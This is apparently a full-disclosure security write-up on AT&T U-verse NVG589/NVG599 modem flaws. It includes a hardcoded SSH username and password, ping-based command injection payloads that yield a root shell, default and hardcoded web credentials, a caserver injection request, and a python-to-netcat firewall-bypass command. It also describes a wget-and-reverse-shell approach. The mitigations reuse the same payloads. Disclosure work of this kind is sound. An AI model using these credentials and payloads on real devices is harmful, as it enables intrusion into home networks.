Note: All ports referenced in the following post are TCP.
Introduction
When evidence of the problems described in this report were first noticed, it almost seemed hard to believe. However, for those familiar with the technical history of Arris and their careless lingering of hardcoded accounts on their products, this report will sadly come as no surprise. For everyone else, prepare to be horrified.
In all fairness, it is uncertain whether these gaping security holes were introduced by Arris (the OEM) or if these problems were added after delivery to the ISP (AT&T U-verse). From examining the firmware, it seems apparent that AT&T engineers have the authority and ability to add and customize code running on these devices, which they then provide to the consumer (as they should).
Some of the problems discussed here affect most AT&T U-verse modems regardless of the OEM, while others seem to be OEM specific. So it is not easy to tell who is responsible for this situation. It could be either, or more likely, it could be both. The hope behind writing this is that the problems will be swiftly patched and that going forward, peer reviews and/or vulnerability testing on new releases of production firmware will be implemented prior to pushing it to the gateways. Security through obscurity is not acceptable in today’s high threat landscape and this is especially true regarding devices which a) route traffic, sensitive communications and trade secrets for millions of customers in the US, b) are directly reachable from the Internet at large, and c) have wireless capability and therefore have an additional method of spreading infection and releasing data.
Regardless of why, when, or even who introduced these vulnerabilities, it is the responsibility of the ISP to ensure that their network and equipment are providing a safe environment for their end users. This, sadly, is not currently the case. The first vulnerability found was caused pure carelessness, if not intentional all together. Furthermore, it is hard to believe that no one is already exploiting this vulnerability at the detriment of innocents. Which is why this report is not passing Go, not collecting $200, and is going straight to the public domain. The vulnerabilities found here will be ordered roughly from least to most prevalent.
1. SSH exposed to The Internet; superuser account with hardcoded username/password.
It was found that the latest firmware update (9.2.2h0d83) for the NVG589 and NVG599 modems enabled SSH and contained hardcoded credentials which can be used to gain access to the modem’s “cshell” client over SSH. The cshell is a limited menu driven shell which is capable of viewing/changing the WiFi SSID/password, modifying the network setup, re-flashing the firmware from a file served by any tftp server on the Internet, and even controlling what appears to be a kernel module whose sole purpose seems to be to inject advertisements into the user’s unencrypted web traffic. Although no clear evidence was found suggesting that this module is actually being used currently, it is present, and vulnerable. Aside from the most dangerous items listed above, the cshell application is also capable of many other privileged actions. The username for this access is remotessh and the password is 5SaP9I26.
Figure 1: Attacker view of cshell after login to an affected U-verse modem.
To reiterate the carelessness of this firmware’s release, the cshell binary is running as root and so any exploitable command, injection vulnerability or buffer overflow will result in a root shell. Yes, it is running as root, and trivially susceptible to command injection. Through the use of the menu’s ping functionality, and due to not sanitizing parameters, one execute arbitrary commands through the menu, or escape the menu altogether. An example payload is shown below.
>> ping -c 1 192.168.1.254;echo /bin/nsh >>/etc/shells
>> ping -c 1 192.168.1.254;echo /bin/sh >>/etc/shells
>> ping -c 1 192.168.1.254;sed -i ‘s/remotessh:\/:\/bin\/cshell/remotessh:\/:\/bin\/nsh/g’ /etc/passwd
Now type exit and then reconnect via SSH. The prompt will change from NOS/xxxxxxxxxxxxx to Axis/xxxxxxxxxxxxxxx. At this point the attacker can type “!” and will be given a busybox root shel!.
Please note that the cshell binary was only examined briefly and only until the easiest exploit was found. Judging by the binary’s repetitive use of unsafe C functions, one can guess that hundreds of additional vulnerabilities exist. However, we find it highly amusing that the first vulnerability found was so trivial that it looks like it came out of one of those “hacking tutorials” that were popular in the 90’s (Google “how to hack filetype:txt”).
This is the first and least common vulnerability that was discovered. The number of exposed devices while not as huge as the rest, but it is still quite unacceptable when you realize that these devices directly correlate to people being put at unnecessary risk of theft & fraud.
Censys reports 14,894 hosts which are likely vulnerable. There is no guarantee expressed or implied in terms of this number being all-inclusive however.
2. Default credentials “caserver” https server NVG599
A HTTPS server of unknown purpose was found running on port 49955 with default credentials. The username tech with and empty password field conveyed access to this highly vulnerable web server, which used only a Basic Authorization scheme. The server seems slightly unstable with its authorization capacity, denying access on the first attempt even with valid credentials and eventually completely locking up with an “unauthorized” message. It remains unclear whether this is just poor coding or more security through obscurity, but either is unacceptable.
3. Command Injection “caserver” https server NVG599
How many vulnerabilities did you find in the screenshot above?
The next vulnerability is the caserver command injection vulnerability. The exact intended purpose of caserver is unclear but its implications are not. Caserver is an https server that runs on port 49955 of affected devices (which seems to only be the NVG599 modem). The caserver script takes several commands, including:
- Upload of a firmware image
- Requests to a get_data handler which enumerates any object available in its internal “SDB” databases with a lot of fruitful information
- Requests to a set_data command which allows changes to the SDB configuration
The screenshot below shows the request which causes command injection, again … as the root user. Note that for the first request the server will probably reply “You are not authorized to access this page”. This can simply be ignored and resubmitting the request shown will yield command execution. The service can be a little quirky, it locks you out after about 5 requests, a reboot will fix the issue if you are testing and running into this problem. The User-Agent field seems to be required but any string will suffice.
There are countless ways to exploit this, but a few quick and dirty stacked commands using wget to download busybox with netcat (mips-BE) from an http server (no SSL support) and then spawn a reverse shell works well.
Estimating the number of hosts affected was trickier due to the service being on an uncommon port. Host search engines such as Censys and Shodan don’t commonly scan for these services or ports. Based on self-collected data, our ballpark figure is around 220,000 devices.
4.Information disclosure/hardcoded credentials
The next vulnerability involves a service on port 61001 which will give an attacker a plethora of useful data about the device. The attacker however, will need to know the serial number of the device ahead of time. Once this information is acquired, the request can be made.
Figure 3:Request to BDC server.
Just before the serial number notice the characters “001E46”. This number correlates with the model number and is a valid Arris Organizationally unique identifier (OUI). This particular OUI was brute-forced from a list of Arris OUIs obtained at https://www.wireshark.org/tools/oui-lookup.html.
When the correct serial number, OUI, and username/password are submitted as above the server will hang for several seconds before returning a response. Afterwards, several pieces of invaluable information are returned about the modem’s configuration, as well as its logs. The most sensitive pieces of information are probably the WiFi credentials and the MAC addresses of the internal hosts, as they can be used for the next vulnerability.
The hardcoded username/password credentials are bdctest/bdctest. This is the second most prevalent vulnerability but at the moment it is not the biggest threat since the modem’s serial number is needed to exploit it. This may change if an attacker were to find a reliable way of obtaining the serial number. If present, an attacker could use the aforementioned “caserver” to retrieve the serial number as well by requesting a valid file present in the webroot other that “/caserver”. Once such example of this would be “/functions.lua”. Sending a GET request to this file will return the serial number amongst the headers.
This normally would not be advantageous for an attacker since the presence of the caserver service equates to root shell access. However, if the caserver is locked, then this is a method to overcome the lockout since only the path ”/caserver” is locked-out.
5.Firewall bypass no authentication
The most prevalent vulnerability based solely on the high number of affected devices is the firewall bypass that is made possible by the service listening on port 49152. This program takes a three byte magic value “\x2a\xce\x01” followed by the six byte mac address and two byte port of whichever internal host one would like to connect to from anywhere on The Internet! What this basically means is that the only thing protecting an AT&T U-verse internal network device from The Internet is whether or not an attacker knows or is able to brute-force the MAC address of any of its devices! Note however, that the first three bytes (six characters) of a MAC address are very predictable since they correspond to the manufacturer. Given this an attacker could very well start out with this scheme with the unknowns marked as:
“\x2a\xce\x01\xab\x23\xed\x??\x??\x??\x??\x??”
To make matters worse, this tcp proxy service will alert the attacker when they have found a correct MAC address by returning a different error code to signify that either the host didn’t respond on the specified port or that an RST was returned. Therefore, the attacker is able to attack the MAC address brute-force and the port brute-force problems separately, greatly decreasing the amount of keyspace which must be covered. The scheme now looks something like this (guessing last three bytes of MAC):
“\x2a\xce\x01\xab\x23\xed\x??\x??\x??\xaa\xaa”
Followed by (Guessing port, same as a TCP port scan):
“\x2a\xce\x01\xab\x23\xed\x38\x41\xa0\x??\x??”
At which point is now feasible to for a determined hacker to use a brute force attack. Aside from the brute force approach, there are other methods of obtaining the MAC addresses. Such as the previously mentioned vulnerability, or using a wireless device in monitor mode in order to sniff the wireless client’s MAC addresses. Basically, if your neighbor knows your public IP address, you are in immediate danger of intrusion.
Going off of the example above, if the device with MAC address ab:23:ed:38:41:a0 has an http server running on port 80 (with the firewall configured to not allow incoming traffic) and an attacker wants to connect and issue a GET request on the webroot. The command will be:
python -c ‘print “\x2a\xce\x01\xab\x23\xed\x38\x41\xa0\x00\x50GET / HTTP/1.0\n\n”’ | nc publicip 49152
This will open an unauthorized TCP connection between the attacker and the “protected” web server despite the user never authorizing it.
It is believed that the original purpose of this service was to allow AT&T to connect to the AT&T issued DVR devices which reside on the internal LAN. However, it should be painfully obvious by now that there is something terribly wrong with this implementation. Added to the severity is the fact that every single AT&T device observed has had this port (49152) open and has responded to probes in the same way. It is also important to note that the gateway itself cannot be connected to in this manner. For example, an attacker cannot set the MAC address to that of the modem’s LAN interface and the port to correspond to the web configuration console. This attempt will fail. This TCP proxy service will only connect attackers to client devices.
In Conclusion
In 2017, when artificial intelligence runs the largest advertising firm on the Internet, when only last year the largest leaks in American history occurred, and where vehicles are self driving, autonomous, Internet connected, and hacked … why do we still find CGI injections, blank default passwords with root privileged services exposed, and what most will likely term “backdoored” credentials?
Developing software is no trivial ask, it is part of this company’s core services, but carelessness of this magnitude should come with some accountability. Below are some workarounds for the vulnerabilities described in this write-up, the time of full disclosure is gone (mostly), but let the time of accountability begin.
Accountability, or is ok to continuously accept free credit monitoring for vendors, governments, and corporations “accidentally” exposing your privacy and in this case, maybe that of your family’s too?
Vulnerability 1: SSH exposed to The Internet; superuser account with hardcoded username/password.
To disable the SSH backdoor, preform the following commands. Substitute “ipaddress” with your gateway’s IP address (internal or external).
ssh remotessh@ipaddress
(Enter password 5SaP9I26)
NOS/255291283229493> configure
Config Mode v1.3
NOS/255291283229493 (top)>> set management remote-access ssh-permanent-enable off
NOS/255291283229493 (top)>> save
NOS/255291283229493 (top)>> exit
NOS/255291283229493> restart
Vulnerabilities 2 & 3; Disable CASERVER for the NVG599.
If suffering also from vulnerability 4, please refer to vulnerability 4’s mitigation steps before proceeding with these steps. Using Burpsuite or some other application, which lets you customize web requests, submit the following request from to the gateway’s external IP address from outside of the LAN.
POST /caserver HTTP/1.1
Host: FIXMYMODEM
Authorization: Basic dGVjaDo=
User-Agent: Fixmymodem
Connection: Keep-Alive
Content-Length: 77
appid=001&set_data=fixit;chmod 000 /var/caserver/caserver;fixit
Vulnerability 4: Information disclosure/hardcoded credentials
At the present time we only have a fix for vulnerability 4 for those who have root access on their gateway. Root access may be obtained by vulnerabilities 1,2, 3, via a serial TTY line, or some other method unknown to us. We will, however, continue searching for a workaround to help those without root access.
For those suffering from the CASERVER vulnerability (port 49955) but not the SSH backdoor, submit the following command before disabling caserver.
POST /caserver HTTP/1.1
Host: FIXMYMODEM
Authorization: Basic dGVjaDo=
User-Agent: Fixmymodem
Connection: Keep-Alive
Content-Length: 77
appid=001&set_data=fixit;chmod 000 /www/sbdc/cgi-bin/sbdc.ha;fixit
Those with access to the SSH backdoor may submit the following command from cshell.
NOS/123456789>> ping -c 1 192.168.1.254;chmod 000 /www/sbdc/cgi-bin/sbdc.ha
Vulnerability 5: Firewall bypass no authentication
The most widespread vulnerability found is luckily the easiest to fix. This mitigation technique only requires access to the modem’s configuration portal and admin password (printed on label). While connected to the LAN, go to 192.168.1.254 in a web browser. Click on Firewall->NAT/Gaming.
Click on Custom Services. Fill in the fields as shown below. In The “Base Host Port” type a port number that is not in use by an internal host (this traffic will be directed to an actual internal host). Port 1 is usually a good choice.
Click Add.
Select a device in “Needed by Device” to redirect traffic to. Make sure the Service that was created in the previous step is selected. Click Add.
Port 49152 should now either not respond or send an RST. Otherwise, check and make sure a service is not running on the chosen internal port (port 1).
Disclaimer: No guarantee is expressed or implied that performing the actions described above will not cause damage to and/or render inoperable any or all electronic devices on and orbiting Earth, including your modem! If you choose to proceed, you are doing so at your own risk and liability.